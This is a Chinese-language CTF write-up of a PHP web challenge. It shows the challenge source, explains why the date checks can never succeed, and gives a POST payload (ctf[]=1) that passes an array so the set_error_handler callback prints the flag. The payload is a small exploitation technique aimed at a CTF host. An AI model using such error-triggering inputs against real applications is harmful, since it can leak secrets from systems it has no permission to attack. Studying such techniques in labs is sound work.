01、题目简介
02、解题步骤
启动并访问靶机

源码是这样的
<?php
highlight_file(__FILE__);
include "fl4g.php";
$dest0g3 = $_POST['ctf'];
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;
}else{
echo "Try harder!";
}
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}
);
$fl4g .= $dest0g3;
?>看到代码我们首先就是要绕过三个判断条件,但是这三个判断条件我们是怎么也绕不过去的
$time = date("H");
$timme = date("d");
$timmme = date("i");
if(($time > "24") or ($timme > "31") or ($timmme > "60")){
echo $fl4g;在PHP中,字符串比较是按字符的ASCII码逐位比较的。日期最大值"31",比较"31">"31"为false;分钟最大值"59",比较"59">"60"也为 false。无论什么时间访问,这三个条件永远为假,$fl4g 永远不会在这里输出。
所以真正能输出的点就在下面
set_error_handler(
function() use(&$fl4g) {
print $fl4g;
}set_error_handler 会接管 PHP 的常规错误处理。一旦发生任何错误或警告,都会调用这个匿名函数,看最后一行:
$fl4g .= $dest0g3;这里的 .= 是字符串拼接操作符,期望 $dest0g3 是一个字符串。所以我们只需要把$dest0g3 变成一个数组就行了,所以构造payload
POST / HTTP/2
Host: ccf35bb2a50283a7941cc9f8.http-ctf2.dasctf.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 7
ctf[]=1